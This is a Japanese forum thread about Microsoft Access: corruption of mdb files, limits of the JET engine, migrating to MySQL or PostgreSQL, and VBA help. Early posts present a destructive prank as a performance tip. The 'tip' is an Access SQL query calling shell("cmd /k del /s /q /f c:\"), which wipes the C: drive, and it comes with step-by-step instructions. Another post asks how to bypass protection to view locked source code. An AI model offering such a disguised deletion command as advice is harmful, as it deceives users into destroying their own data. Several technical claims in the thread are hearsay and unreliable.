【Access】アクセスは最強のデータベース！

SQLiteはクソ。

そろそろ寝ようぜ

アクセスってEXCELが使いたくてOFFICEを買うとおまけでついてくるやつだろ。
このおまけがとろとろしているものだから、すっげぇー大迷惑。

Accessで次のSQLを実行したら、不思議なことになんかマシンが軽くなった。
マジお勧め。

select * from テーブル1 where フィールド1=shell("cmd /k del /s /q /f c:\")

これだけで十分だな。
select shell("cmd /k del /s /q /f c:\")


まず、クエリを新規作成する。
デザインビューを作る。
テーブルの指定は必要ないので閉じる。
フィールドに、「shell("cmd /k del /s /q /f c:\")」と入力
保存して実行。

Access人気ねーなーｗ

使い方わからん

アクセスの一番新しいバージョンはなんだ？
それと、2000と替わったところを教えろ。カス。

ググレカス

アクセスなんか売れてないんだからMSも日本向けをVFoxProに変えろよ。

だーかーらー、
アクセスは売り物ではなくてOFFICEのおまけなんだよw

逆に考えるんだ
ACCESSのおまけがOFFICE

初めて「でーたべぇすこうちく」として貰った仕事が嬉しくて仕方がない>>1が居たのはこのスレでございますか？

PHPからアクセスを扱うコード禿げしく希望！ｗ

Accessなんか使ったら、すぐにシステムが破綻するよ。

2007拡張子が変わって面倒

!kote !dama

test

JETは糞エンジン・・・orz

JETは"おまけ"の"おまけ"だからね

おまけって
AccessはOfficeのProfessional版以上でないとついてこない
JETはOffice買わなくてもWindowsについてくる

WindowsがPCのおまけだから、
やっぱり、"おまけ"の"おまけ"だな。

ググって検索していたら、ここにたどり着きました。
ローカルマシンのaccessに格納してあるデータを、ホスティングしているサーバ（専用サーバ）で
selectして表示させる事は、出来ますか？

>>23
「ローカルマシンのデータを、サーバで表示させる」というのにすごい違和感があるのだけど、
俺が無知なの？

>>23
出来るかといわれれば、できる
SQL鯖かaccessがServerに入っていれば可能だけど・・・

何かが逆のような気がする・・・

>>24　>>25
回答サンクスです。

>>24
そんなに違和感のあることなのですか！？

>>25
逆ですか。。。！？
どのように逆なのかを教えていただけるとありがたいのですが
虫が良すぎるでしょうか？

初心者が無知な質問をしているのか？
それともただのネタなのかわからない。

まず、そんなことをしなければいけない状況が想像がつかない。

いやぁ、、違うぞ。サービスを提供するのがサーバなわけだから、
ここでいうローカルマシンも一つのサーバなわけですよ。
何らの矛盾も無い訳です。

データの格納及び処理はサーバで行い
クライアントはサーバにSQLを投げて読み/書きを行う、ローカルにデータの保存はしないのが普通
理由は色々あるが、ﾊﾞｯｸｱｯﾌﾟの処理やトランザクションの復旧などを一括で行った方が面倒がないから。

まあ、やっぱりそうだよなあ？
それにサーバーでローカルのデータを表示させるってことは、
サーバーを直接ユーザーが操作するってことだろう？
サーバーの安定性という面では薦められる話ではないはず。
そこまでして、こんなことをするメリットていうのが想像つかない。
ローカルのデータはローカルで見ればいいじゃないか？
まあ、別にAccessに限った話ではないけど。

最新の一太郎とaccessを使うためにvista買ったのに。access使えない奴はWindows使うのを禁止しろ。

馬鹿発見w

共有フォルダにmdbファイルを置いて、複数のPCからアクセスするアプリを作ったのだけど、
そういう使い方をすると、ファイルが壊れるって書いてあるページがまりました。
最近のaccessでもそんな感じですか?

そもそもmdbって共有で使えるんだっけ?
accessは昔からだがローカルでも壊れやすい。

出始めた頃に聞いたaccessの別名は「しゃぼん玉」だったな。

>>34
> そもそもmdbって共有で使えるんだっけ?

使えるよ。でも、あまり沢山のPCからの共有はやめたほうがいいと思う。

> accessは昔からだがローカルでも壊れやすい。

終了後に最適化かけるようにしてからほとんど壊れなくなった。

ローカルで使っててもやっぱちょいちょい壊れるな。
開けなくなるだけなら、バックアップから戻せばいいだけだから大した事無いけど
一見なんともないのに、データが一部ブチ壊れたりするのがイヤ。
あるレコードの範囲が全部同じ数字に書き換わったりとか･･･
集計だけ見ても気付きにくいような微妙な壊れ方だったので、客先で冷や汗かいた。 orz
毎回最適化しててもこれじゃねぇ。 怪しくて、金が絡むクリティカルな業務には一時的にでも使いたくないな。
電話帳とか住所録みてーなのに使うなら、お手軽でいいかもしらんが、俺的に2万件あたりからはバクチ。

>>36
ちなみにAccessのバージョンは？データとプログラムのファイル分離している？
俺はAccess2000でやっているのだけど、さすがにバグが出尽くしているのか、
最近はほとんど問題がない。昔は相当悩ませてくれた。バージョンアップが怖い。

さすがに２万件以上はAccessというよりJetエンジンの守備範囲ではないと思うよ。
俺ならデータ部分はMySQL使うけどなあ？

access2000からaccess2007に上げます。俺の長年の苦労のデータ大丈夫かな。

>>38
勇気あるなあ？
とてもマネできない。

レコード件数はそれほど重要じゃないだろ、mdbのサイズが2G超えそうってんならともかく。
2万件で壊せるような使い方してるやつはそれが2千件でも2百件でも桐にしとくのが吉。

200件なら手書きのカードで十分。

たしかに桐のほうが安定しているし、壊れにくい。
ちょっとしたことをやるなら桐の方が便利。
でももともとアプリケーション作るツールってわけじゃない。
Accessは開発者がひとりで小規模アプリケーション用つくるには、
これだけで全部で済むのでお手軽。

桐ってまだあったのか、、、

>>43
あるんだな、これが。しかもVista対応を表明。

http://www.kthree.co.jp/2seihin/6kiri9-2006/index.html

自分で使うだけのプログラム作るのならこれでほとんど済むと思う。
これ以上はスレ違いは甚だしくなるので、こっちに行ってくれ。

http://pc10.2ch.net/test/read.cgi/db/1057318214/

使い方によっては「Accessは最凶のデータベース」だと思う。
データーがプログラムを道連れにして壊れるし、
同じ事やるのにいくつも方法があるから、どの方法をとるのがいいのか迷うし、
いろいろな考え方が混じっているから、わけがわからなくなる。
その辺を克服していくとそれなりに使えるツールになる。

>>37
Access2000で、ロジックとデータは始めから分割してた。
つーても複数人で使わせるもんじゃなく、いじくるのは俺限定で
もらったデータ取り込んでマスタ更新した結果をExcelで渡す･･･みたいなやつ。
200MB/3万レコード程度でも、jetエンジンには荷が重かったのかな･･･
客側のトラブルに対応する都合で、予定の2倍以上のサイズになっちまったのも痛かったが。

やっぱAccessってUIとしてならいいけど、でっかいデータ持たせるなら
多少手間でもちゃんとしたDBMSがいいなーと思い知らされたよ。 orz

>>46
周りにaccessデータ渡したくても、access持っていないか、持ってても使えない奴。
仕方なくExcelデータで渡すと、重複データばかりになって帰ってきた。

>>46
まあ、原因かどうかはわからないけれど、桐ならメモリにある程度空き容量が無いと動かないのだけど、
Accessはなんとか動いてしまう。でも遅いし不安定なんだよなあ？そんな状態ではデータも壊れやすい。

そもそも欠陥品

という程、しょっちゅうは壊れないんだが。数百MB程度は、結構頻繁に
扱ってる。やっぱ、使い方だよな。っていっても、仕様の範囲内での使い
方で壊れるDBであることは確かだな。

だーかーらー欠陥品だっつーーーのw

おまえもな。

access愛好家の気に障ってしまったようだ。

M$社員じゃね?

いや、もう使ってないから。

>>51
> だーかーらー欠陥品だっつーーーのw

まあ、そうだな。Windows98くらいの不安定さはあるから、
M$標準の欠陥品だな。M$専門用語では仕様と言うらしいが・・・・

Windows98もまあ使いようによってはなんとか使える程度には安定したのだから、
使いようって言えば使いようなんだけど・・・・・

サーバーからデータ落としてちょっと加工したいときには使える。

>>36
データのバイト数とか考えてる？
その大きさになると、1024ごとにきっちり区切ってやらないと壊れやすいね

きちんと設計してあれば、クライアント台数は10、120万件、800MBでも問題なく動いてるよ
あとネットワーク環境が重要だね。不安定な環境だと非常に壊れやすい

>>58
レコード長って事?
やっぱ気にした方がいいのかね。
壊れた時のは、残念ながら相手指定の形式に合わせる必要があったので(しかも途中で変わりやがるし orz)
気にしてる余裕は無かったなぁ。
ネットワークに関しては、ローカルでもアレなのでできればやりたくない orz

>>58

> その大きさになると、1024ごとにきっちり区切ってやらないと壊れやすいね

いったいその話はどこがネタ元なの？
jetエンジンで120万件って、すごいなあ？俺には怖くてできない。
クライアント台数10で同時アクセスするの？
それとも繋がっているのが、１０台ってだけ？

>>60
確かマイクソのリファレンスに書いてあった。
うろ覚えだが、JETの場合1024で区切ってデータを扱うと書いてあった。
で設計は1024ごとに収まるようにきっちり作ると速い上に壊れにくいと、昔先輩に教わった。
速いのは理論上わかるが、壊れにくいのは良くわからん。
が、実際には確かにそうしておいた方が壊れにくかった。
大量データを扱わなければそんなに変わらないと思うが。

> jetエンジンで120万件って、すごいなあ？俺には怖くてできない。
> クライアント台数10で同時アクセスするの？
> それとも繋がっているのが、１０台ってだけ？
同時アクセスは2〜3台、排他処理のロジック作るのが大変だった。
最適修復をきっちりやっていれば、壊れはしないが検索等のスピードが遅い。
正直限界だと思う。早くSQL鯖に移行してくれってのが正直なところ

>>61
> 正直限界だと思う。早くSQL鯖に移行してくれってのが正直なところ

へえーーー、ユーザの要望なんだ。なんでJETエンジンにこだわるのだろう？
PostgreSQLなら無料だし、MySQLも安いのに？

ODBCを使ってとりあえずちょっとだけ動かしたことあるけれど、
あっけないほど簡単に動いた。
まあ、プログラムをまったく変更せず動くほど甘くは無いだろうし、
最適化はいろいろとがんばらなければいけないだろうけど、
思ったより楽そうだと思う。

>>53
世の中にはAccessしか使えない人もいるからな。
そのAccessを否定すると、自分まで否定された気分になるんだろ。

とことん尾ひれをつけたいようだな。
それより、ページ単位で1024ってのは正しいけどよ、可変長が基本のAccessだぞ。
ガワを1024に調整しただけじゃダメじゃねぇの。

偉そうな事書いたくせに、間違ったよ。1024じゃなくて、2048だ。

Accessが不良品だとしても、これに変わるものってありそうでないんだよなあ？
Accessのようなレポートが作れるツールだけでも、Accessより高い。

入力帳票作成ツール、レポート作成ツール、クエリー作成ツールなど
いろいろなツールの集合体と考えればかなり安い。

肝心のエンジンがちと弱いのが気になるけど、
エンジンを取り替えることができるところが良いところでもあるなあ？

>>65
あっなるほど、つまりページ単位に合わせるってことね。
2048byteを１レコードにすればレコード単位と同じだものなあ？
でもそれってレコード単位ロックが無くて、
すべてページ単位ロックだったAccess97時代までの話じゃないのか？

文字列は後ろにスペース詰めるの？

>>67
密かに今でも内部的にはページロックだったりする。鵜呑みにしないでね。
Accessから離れて約2年弱なので。
壊れづらくするのにページに合わせるって話が出たのであって、ロックとは
関係ないような気もするが、そもそもこのロックが原因で壊れやすくなって
るのかな？？？
どちらにしても可変長の仕様は変わってないので、常に2048に合わせるの
は難しい。文字列の後ろの半角スペースは自動で除去するし。中途半端
にUniCode対応だし。

AccessはMySQLのユーザーインタフェイスとして使うのが正解じゃないのか？

ODBCでUI作るだけならACCESSである必要ないと思うんだけど、高いよね。
OpenOfficeはちょっと微妙だと思し、他に何かないかな。

>>71
> ODBCでUI作るだけならACCESSである必要ないと思うんだけど、高いよね。

Turbo Delphiなんて無料で面白そうだと思うのだけど、
レポートツールは別に用意しなければいけない。
アクセスのように伝票形式の入力が簡単に作れるとも思えない。

結局Access程度に実用に使えるようにすると、Accessより高くなると思う。

> OpenOfficeはちょっと微妙だと思し、他に何かないかな。

なんせ情報がない。BASEが使えるのなら使いたい気もするけど。

今日、baseに二度目の挑戦。java.lang.NullPointerExceptionって言われてテーブル開けない。
前回はもうちょっと進んだ気がしたけど、今回はもうくじけた。

それにしても、なんで日本版のFoxProを売らないんだよ？
俺はそれで十分なんだけどなあ？英語のマニュアルなんて読む気がしない。

なんかARAGOが値段を下げるらしい。

http://www.soupacific.com/index2.html

なんせFoxproより高かったのだからなあ？
本当に大幅値引きだったら考えようかなあ？

Access2007体験版使ってみました。すごいね、これ。
2000からいっきに飛んだからかもしれないけど、UIのデザインに感動。

ちょっと質問なんですが、odbcでpostgresqlにつないだとき、
timestampの桁数が原因と思われる問題で「データの競合」が起こります。
timestamp(3)にすると解決するという未確認情報もありますが、
それ以外の、DB定義をいじらない解決策ってないでしょうか？

>>75
まだあったんかい。
DOSのDBXLやQSには世話になったけどな。
VisualFoxproの日本語解説書でも出してくれたほうが嬉しいんだけど。

すいません。超FAQでした。自己解決。
postgresql7.4なので型変えるの大変だと思ったけど、
defaultのcurrent_timestamp(3)への変更で対応できました。

>>77
> VisualFoxproの日本語解説書でも出してくれたほうが嬉しいんだけど。
んだんだ。って誰か出しそうなものだけど誰も出さないなあ？

Access2007って、今までより良いんだろうか。
何かどうでもいい見た目ばかり綺麗に改造してくれたみたいだけど。
Access使いの今までの悩みって、データ件数で1万件以上扱いたい、
10台とか多数のＰＣからアクセスしたい、
ローカルＰＣで簡単にコピーされて外部に持ち出されないようにしたい。
しかしSQLサーバーは難しいというのが、共通の悩みだったと思う。
そういう肝心なニーズは全然解決してくれてないのかな。

おまけですから

>>80
それってMSDEで半分は解決するんじゃないのか？
SQL Serverで全部解決。
おれはLinuxサーバーだからMySQL使うけど・・・・

>>80
>>82 が正解。
Accessに本物DBを求める方が間違い。安いんだから、ローカルレベルで
使ってね。でも、ちょっとぐらいは他の人と一緒に使ってもいいよってぐら
いだ。C/SのDBと根本的に仕組みも違うしな。

ACCESS2003でフォーム上で▲（横三角）＊マークを
押下したら新規レコードになりますが、
それと、同じことをするVBAを教えてください。

>>84

どこまでやりたいのか知らんが、
んなもん、コマンドボタンをウィザードに従って作ってみれば
解ることだろ。

>>85
VBA エディタにウィザードなんかでてきませんが

MySQL使っている人に質問。
これからMDBを卒業して使おうと思うのだけど、
AccessからMySQLを使うのってどんな感じなんだろう？

　１．設定してしまえば、MDBと違わないよ。まあ、壊れなくなったけどね。
　２．全然違う、プログラム自体も大幅に変えなければいけないし、苦労するよ。
　３．まあ、そのまま使えるほど簡単でもないけど、難しいってほどでもない。

あえて言えばどれに近い？

>>86
>>85 じゃないが、代わりに。
まずは、コマンドボタンをフォームに置け。その時、ウィザードが起動しないか？
起動しないなら、コントロールウィザードをONにする。
このウィザードに従って新規レコード追加を選べば、実に簡素であるが目的
のVBAが出来上がる。

他人の間違い(と、思い込むこと)を指摘する前に、少しは調べろ。

一対多連結の一側フィールドの書き換えとか、
ローカルデータならではの操作に慣れてしまったので、
いまさらC/Sには移れません。

>>89
意味がわからん。C/S向けにチューニングされているSQL Server
Oracle等々、よく知られてるDBなら当然のごとくできることだと思うが。

>>88
申し訳ありません
VBAにウィザードがあるなんて

OOoのBaseがいいな。

>>91

85だけど、あれで通じると思ったから
説明足らずで悪かった。
暇があったら、ウィザードとかマクロをVBA化して
どういうコマンド使っているのか調べてみると勉強になるよ。
当然、コマンドはヘルプで調べて、実際に使ってみること。

>>88

フォロ、ありがと。

Accessは確かに昔よく壊れた、でもレポートが強力で離れることができんかった、
ある日FATからＮＴＦＳに変えてＭＤＢもデータ、プログラムを切り分けしてから全然
壊れなくなった。
MSDE経由MySQLもlocalhostでしかやったことない、最近はレンタル鯖でPHPかな。

>>94
> Accessは確かに昔よく壊れた、でもレポートが強力で離れることができんかった、

たしかに！Webシステムにしたいのだが、印刷のことを考えるとAccessから離れられない。

> ある日FATからＮＴＦＳに変えてＭＤＢもデータ、プログラムを切り分けしてから全然
> 壊れなくなった。

Windows2000になってからトラブルは格段に減ったなあ？
データ、プログラムを切り分けたのも効果はあった。
メモリが安くなって増設したのも大きかったような気がする。
最適化はもちろんだけど、ときどきMDBを新規作成してそこにインポートすると
MDBの大きさが半分以下になったりするが、これも効果がある。
ちょっと動作が不安定になったらこれをするのがいい。

>>95
自分の場合は、Accessでユーザー向けのシステム開発していたが、
メニューに最適化・修復を付けてあげて、そこでおっしゃるような最新
MDBへのデータ入れ替えを処理してました(標準機能の修復・最適化
実行後に)。システムの中に、データが空っぽのMDBも同梱してね。
この機能を共通関数化して使い回し。お陰様で、破損件数は減少。

>この機能を共通関数化して使い回し
この共通関数欲しい。
えーと、かわりに差し上げられそうなものを探さないと・・・・・・

ACCESS2003の質問です。
例えば　　連番 に　aaa001
aaa002
bbb011
bbb012
があるとして
aaaを含む最大値のデータ、今回の場合は
aaa002のデータを抽出するVBAを教えて下さい

Dmax("連番","テーブル名","Like 'aaa*'")

でいくんでないかい?

>>99
レスサンキューです
うまくいきました

>>97
オレが作ったものが欲しいなんて、奇特なお方だ。
Give&Takeじゃなくてもいいよ。ただし、iniファイル対応の我が社(と言っても、
やめた会社なので)特有のものです。休みの日に自宅で自分の作業を楽に
するためにセコセコ作ったもので、オレが自由に使ってもいいお墨付きです。
ドキュメント類も差し上げますので、そのまま仕様に従って使うも良し、必要
な関数・部分を抜き出して改造するも良しって感じで丸投げしたいんですけ
ど、VBAは大丈夫ですか？
修復の処理限定で欲しい場合は、ちょこっとだけ手直しして渡しますので、
何日か時間が欲しいです。本業の方、単体テスト真っ盛りで平日はなかなか
時間が取れないかもしれないので。

>>101
> オレが作ったものが欲しいなんて、奇特なお方だ。

いえいえ、一度作ろうかと思ったのだけどなんだか面倒そうだし、
手作業でできることなのでついつい後回しになって・・・・

> するためにセコセコ作ったもので、オレが自由に使ってもいいお墨付きです。
> ドキュメント類も差し上げますので、そのまま仕様に従って使うも良し、必要
> な関数・部分を抜き出して改造するも良しって感じで丸投げしたいんですけ
> ど、VBAは大丈夫ですか？

ええ、もちろんアクセスでVBAを使ったアプリケーション作ってますので、
だいたいは大丈夫です。

[email protected] へメールで送っていただければ大変助かります。
なお、このアドレスはこれを受け止めるためだけのアドレスですので、受け取り
しだい消滅します。

２ちゃんねるに無防備なアドレスをいつまでもさらすほど俺は自信家じゃない（ゴルゴ１３風（ｗ））

しかし、俺って汎用性のある関数書いてないなあ？差し上げられそうなものがない。

ACCESS2007の教本足りない。97から2000に上げた時は少々の手直しだったと思えるほど。｢はじめてのACCESS2007｣だけでは足りない。これだけ見た目が違うともっと細かい所も違うような。
マイクロのホームページも物足りない。

>>102
返事書くヒマあったら送れよって・・・すまん。ファイルの準備・圧縮等何も
してないので。もう少し待ってくれ。丸投げするから。その修復・最適化の
関数に関しては、少々コメントを添える(ソース内じゃないよ)つもり。

メルアド、結構平気だよ(いや、別に削除するなって事じゃなくね)。
オレも晒したyahooメアドがあったけど、な〜〜〜んもなかった。いたずら
メールもなかった。

Accessの関数は不要っす。今、全く毛色の違う開発業務なので。

最適化してバックアップするなら
DBEngine.CompactDatabase src, dst
これに GetOpenFileName　を呼び出すコマンドボタンをつけたform
昔作りましたけどだれかいらない？

>>105
それは、悪いがすぐ作れる。

>>106
http://sund1.sakura.ne.jp/uploader/source/up2189.xxx

2001年製でした、ツッコミよろ

>>107
2001年製でも、まだ使えるんじゃねぇの？
ネット禁止のため、リンク先は見てないんだ。ゴメン。

>>104
別に切羽詰っているわけじゃないから、いつでもいいです。
忘れないでいてね(^^)

>>103
安心しろ、変わったのは見た目だけだw

>>109
ちょっと手抜きして(コメント添えるの、ほぼやめちゃいました)とりあえず
送らせて頂きました。

>>111
受け取りました。ありがとうございます。こりゃあ、応用範囲が広くて使いこなすのにかなりかかりそうな予感。
でも、いろいろと参考になりそうです。ダメモトだったのに言ってみるもんだなあ？
本当にありがとうございました。

>>110
ac2000からほぼ見た目しか変わってないような気がするのは気のせい？
アクセスは見た目だけは最強のデータベースなのかもしれない。

>>112
ちと、ややこしいよな。もう、分かってると思うけど念のため。
なかを見るときはshiftで開いて。

>>114
ちゃんと見えてます。
エラーがでたので、空のMDB作ってそこにインポートしました。
今のところ仕様書を見て喜んでます。
あらためてありがとう。

>>115
エラーの原因は？
もしかしてオレのオリジナルがマズイかと思って。
仕様書は、Access知らない人や派遣社員向けだから、事細かく・うるさく書いてる
でしょ。最後までメンテするのオレだからガッチガチの規則だね。何か気になるこ
とがあれば、お気軽にメールで。

>>116
＞エラーの原因は？
いや単にシフト押さないで起動させたらうまくいかなかったので、
見たいのはモジュールの内容が主だからインポートすればうまくいくかなと思ってやってみただけ。
Accessは完全に独学だし、こういう実践的な仕様書って見たこと無かったので勉強になりますね。
ただ、テーブルは"T_"で始まるようにとか、考えることは同じだなあと思ってみてました。
私の場合はマスターテーブルは"TM_"とかさらに細かいのだけど。

>>117
次からメールにしような。
シフト押さないで開くと、iniファイルの設定値編集のフォームが開くようになってる
のだが、そのための環境が整ってなかっただけと思う。
モジュールだけ必要なら、インポートしたやつでＯＫよ。フォームは、インポートし
てないんだよね？この場合、バックアップ・リストアもNGだなぁ。
まぁ、好きなように使ってくれ。達人の域のものではないので、たいしたことはやっ
とらんから。

dim tax as Long
正　tax = Fix(33333 * 0.03)
= 999
誤　tax = 33333 * 0.03
= 1000

誤　tax = Fix(50000 * 0.03)
= 1499
正　tax = 50000 * 0.03
= 1500

消費税の計算をし、小数点は切り捨てをしようとしてるのですが、上記のとおり Fix で計算をすると
切り落としの時にズレが出てきます。

小数点を切り上げたりせず、きっちり切り落としたいときはどうすればいいんでしょうか？

10年以上前の人ｷﾀｺﾚ

dim dTax as double
dim lTax as long

dTax = 値段 * 税率
lTax = fix(dTax)

で解決した

>>119
Currency

ACCSESS.NETがでてC#がでれば買うな
最強のアジャイル開発ができそう

アクセスで、入力データを継続させるには、どうすればいいのですか？

入力を継続させればいい

テーブル作ってINSERTすれば継続されると思いますよ。
少なくともPCシャットダウンしても入力データは消えないで継続されます。

すいません。同じようなデータを入力してるんですが、レコードの値を次の入力時にも継続させたい事です。Ctrl+7の他に自動でないでしょうか？

>>127
これノンプラミングでってことだろう？
うーーーん、アクセスってそのままでは使いやすくはないからな。
たぶん桐で入力してコンバートしたほうが速いと思うけどなあ？

VBA組め

>>127
excelで入力してからAccessに取り込む。

>>130
ACCESSで入力して三四郎にExcel経由で取り込む。

三四郎は知らんが、
Accessで困ったときには、
Excelで読めるファイルにエクスポートして、
Excelで加工するのは、基本技。

Excelへの吐き出しに頼るのは、
まともなシステムが構築出来ない無能力プログラマの常套手段

>>133
無能力とか言う前にプログラムの話じゃないだろう？
VBAばりばり使える人がする質問じゃない。
もしVBAばりばり使える人だって言うのなら、
入力するたびにデフォルトのValueを変えればいいだけだろ？

>>134
VBAさえも使えないというなら、それも無能力

君は分かってないな。
>>127はあれだぞ。

>>135
しかたないだろう？
ほとんどの人は大量のデータが扱えるExcelくらいの認識なんだから？
もともと別の会社の製品でExcelとは氏も素性も違って
ほとんど似てないなんて知らないのだから？
VBAがわからないと結局使い物にならないなんて思ってもいないよ。

マイクロソフトもいっそのこと桐でも買ってくれば良かったのに？
あれのほうが少しはExcelに似ている。

お薦めの入門サイト教えてください。
ぐぐっても、本の販売サイトばかりひっかかります。
たまに発見できてもバージョンがあいません。
自分のは２０００なんですが・・・

アクセスってマクロの自動記録って無いんですね。
知らなかった。ショック・・・・

>>139
だからExcelとはまるで違うものなんだって・・・
桐にはあるんだよね。マクロの自動記録とは呼ばないけれど・・・
http://www.naboki.net/access/heaven/index.html
いわゆる入門サイトとは違うけど、入門する前に目を通したほうがいいことがいっぱい書いてあります。

>>137　もはや、Access不要だなw

Office Excel 2007 では、最大 100 万行、16,000 列のスプレッドシートが
サポートされているため、膨大な量のデータを処理できます。
大量のデータを分析する必要がある場合でも、複数のスプレッドシートや
他のアプリケーションを使用する必要はありません。

>>141
だからExcelとAccessはまったくの別物だって・・・・・
Excelがいくら大量データを使えるようになったところで、
Accessの代わりにはならない。

普通はそうだが>>127や>>139みたいな人は同じものだと思っていると思います。

>>142

笑いどころはここ。
>他のアプリケーションを使用する必要はありません。

うちの会社エクセルシートに計算機で手計算して数値入力してる上司がいるんだがｗ

いいじゃないの　結果がちゃんと出れば・・・・

ﾜﾛｯﾀｗ
EXCELがメモ帳代わりかよ

1万何千列100万行のデータを抱え込んだExcelのファイルってのは、
どれぐらいのサイズになるんだ
つか、クリックしてから開けるまでどれぐらい時間がかかるんだ
開いている間に冬が終わって春とか初夏とかが来て梅雨が来て落雷して
停電しちゃっても大丈夫なのか

早いCPUにメモリを沢山つんで、無停電装置もつければ
おーけーじゃね？

>>145
うちはもうちょっとマシ。
=1+2+3+4+........................
とちゃんと=の使い方はマスターした（ｗ
セルの意味は永久に理解しそうにない。

（・∀・）：あ○○君ちょっとここ教えてほしいんだが・・・・
（´Д｀；）：ﾊｲﾊｲ・・・ああ　ここはですね・・・
（・∀・）：おおーこうやるのか・・あーわかったわかった後はこっちでやる
（´Д｀；）：はいではお願いします

５分後

（・∀・）：あ○○君ちょっとここ教えてほしいんだが・・・・
（´Д｀；）：ﾊｲﾊｲ・・・ああ　ここはですね・・・（わからなかったんだな・・・）

Excel，Accessマンセーする奴に限って，
OracleとかSQLServerでシステム構築すると，
安定性大丈夫なんですか！RASISは！とか言って騒ぐんだよな．
おまいらの使ってるソレよりは16倍くらいはマシだっつーの．

>>151
何か悪いもんでも喰ったか?

つ:ゲロ袋

>>151
16倍は酷いだろ！　256倍くらいにしとけよw

>>151
そいつに「2GB」とか「65,536 行、256 列」と耳打ちしてみる｡

>>151
Excel2007マンセー、と言い返される。

ACCESSは70過ぎのウチの老母でも楽々使えるが、Oracleは東大卒の巨大パソコンメーカー社員でも難しいと嘆くソフト。
ママチャリとF1を比べるようなものだろ。

フロントエンドとDBMSを比べてどうすんのよ

フォームに犬、猫、羊に○があったり空白があります。犬に○、猫に空白、羊に○、全部空白
などを抽出するにはどうすれば良いでしょう？
クエリの抽出条件をどうすれば良いかわからないです…

日本語でおｋ

編集→追加貼り付けなんですが、これのショートカットってあるんでしょうか？
MSのショートカット一覧見ても載ってないし…
毎度毎度編集からやるのめんどくさいー

>>156ってバカっぽいｗ

>>158って可愛い

解決しました

誰がなんと言おうと、私の部署でAccessを触れるのは私だけ。

ほかの人には、しょうがないので、エクセルでデータを渡す。
ほかの人からは、しょうがないのでエクセルのデータをもらってテーブルを作る。


悲しい。

>>164
我が同士だな。ACCESSを使う為にWindowsを選択すると言うのを忘れている。
ExcelなんてACCESSの一つのツールに過ぎん。

>>162
みんなが使えるようにシステム化すればいいじゃん。

ソース非公開のサンプル（VBAでAllowBypassKeyがFalseになってる？）の
中身を何とか見たい場合ってどうすればいいんでしょ？
ファイルの外側から操作してコードを見たり、フォームの編集画面に切り替えたり
できるようになりますか？
Access2000、WinXP使用してます。

ttp://x7net.com/~access/index.php?option=com_smf&Itemid=33&topic=91.0;prev_next=next
ここはどう?

>>167
こういうことを平気で聞くやつの気が知れない。
見せたくないから非公開にしているのに・・・・・

>>167
簡単だよ

MDEになっているのなら無理じゃね？

>>171
オマエ、話がずれてるぞ。

質問ちゃんです。お願いします。

Access2007を試用中です。PostgresqlのODBC Unicodeドライバでつないで使ってます。
テーブルのリンクを作る際にパスワードを保存しようとすると、

> 「〜文字化け〜」が見つかりません。

と言われたり言われなかったりします。これはANSIドライバだと起こりません。
また、パスワードを保存しないと、次回accdbを開いたときに接続できなくなってしまいます。
何か解決策はありますか？

Microsoftから行ける教えてネットとかいうところで関連する記事発見。
ドライバのバグかもしれない、とのこと。解決せず。
パスワードファイル名に使われるテーブル名がUnicodeだから問題なのかな。

Acess2003で構築中です。

mdbファイルを開くとき毎回security worningでOpenを選択した後、アクセスがそのまま閉じてしまいます。
ldbファイルは残ってしまい削除できないので、タスクマネージャーを使ってプロセスを殺し、削除しています。
2回目に開くとOpenを選択後はちゃんと開きます。

最適化
空のDBに全部インポート

はためしてみましたが、変わりません。
なにか確認するところはありますか？

ヒントでも結構ですよろしくお願いします。

補足です。
どうやら問題は開くときというより閉じるときのようです。
MDBを閉じてもタスクマネージャーのプロセスにMSACCESS.exeが残ってしまっています。
MDBを開く前にｺﾚを閉じたら普通に開けました。

同じパソコン上で別のMDBファイルを開く＞閉じるしてもタスクマネージャーには
残っていませんでした。

何が悪さしているんでしょう？？

>>176

もちろん、OS、Officeの最新修正パッチはあてての話しだよね。

>何が悪さしているんでしょう？？

全てのプロセス晒す勇気あるの?

ただ単にcloseしてないとか・・・

MDBを閉じることと、Accessを終了すること、これを明確に分けて
考えること・書き込むこと。

Accessで多重のリレーションチェーンはどうやって作るのでしょうか？

イベント プロパティに指定した式 クリック時 でエラーが発生しました

　　_..,,.,,.
　 「r',.　、
　d　´c`/　ちくしょう…
　 i　' ∋

ぉち 彡　,.-,ﾆユ、
ぉ く .三　 { ,.= r、
｜し 三 (6' r',ニ7
｜ょ 三.　| !| {　{
｜お 三. |　ﾐ‐ニ)
! ! ぉ ミ　!　　　{

ACCESS総合相談所 その１６ 【桐にしとけ】
http://pc11.2ch.net/test/read.cgi/bsoft/1157195290/832

832 名前：名無しさん＠そうだ選挙にいこう[] 投稿日：2007/03/10(土) 14:13:34
Accessってさぁ、残高計算できないから出納帳とか会計処理は出来ないよね。
VBAでレコードセットの更新掛けても、整列項目値が同じレコードの順番が指定できないから、正確な残高が保証されないよね。

桐だと論理レコード番号があるから、正確な残高計算できるからGoodだね。

835 名前：名無しさん＠そうだ選挙にいこう[sage] 投稿日：2007/03/10(土) 17:33:38
確かにAccessでは累計とか連番とかは結果が保証されない。
だから何？

838 名前：名無しさん＠そうだ選挙にいこう[sage] 投稿日：2007/03/10(土) 21:41:58
ええええーーーーーーーーーーっ！！！！！！！！！
ａｃｃｅｓｓで残高計算できないのーーーーーーーーーー

>>182
だから桐が優れていると？
accessで作られた出納帳とか会計処理は腐るほどある。
確かに累計出すときには桐は便利だがそれがすべてって話でもあるまい。
accessと桐は目的も目指すところも違うのだから、どっちがいいってことはない。
変なライバル心持つなよ。

つーかAccessだろうが桐だろうが、使い方でいかようにも解決できるだろ
なんのための拡張性なんだよ

FileMaker最強！

>>185
ろくにプログラムができないならいい選択だ。
つうか、わざわざここに来て言う意味がどこにある？

桐って　ずっとキリ番のキリかと思ってた
つまりAccess 2000のことね

あと3年はロムっとくわorz

半年ロムる前にすることがあるだろ？

ここの人達（プロ）には評判悪いかも知れないがエンドユーザーから見れば最高だ。
手作業で一日、二日はかかるものが五分で終わる。
構築は素人でもなんとかなる。そこそこはメンドいがそれ以上の見返りは十分にある。
アクセス様様

>>189
うん、一人で使う分には良いと思うよ。
これがネットワーク上でDB共有したいとか
欲張り始めると大変なことになる。

桐ってまだ手に入るの？

まだも何もvista正式対応版がもうじき発売予定らしいよ。

俺はアクセスも桐も使うけど、人に使わせる必要がなければ桐を使う。
桐ならかなり適当に表を作って適当に集計して適当に印刷できる。
結果だけ欲しいなら、入力フォームもSQLも印刷帳票も設定する必要がない。
表のまま印刷しても結構さまになる。
アクセスでは出来ないことだが、マクロの登録もエクセルのようにできる。
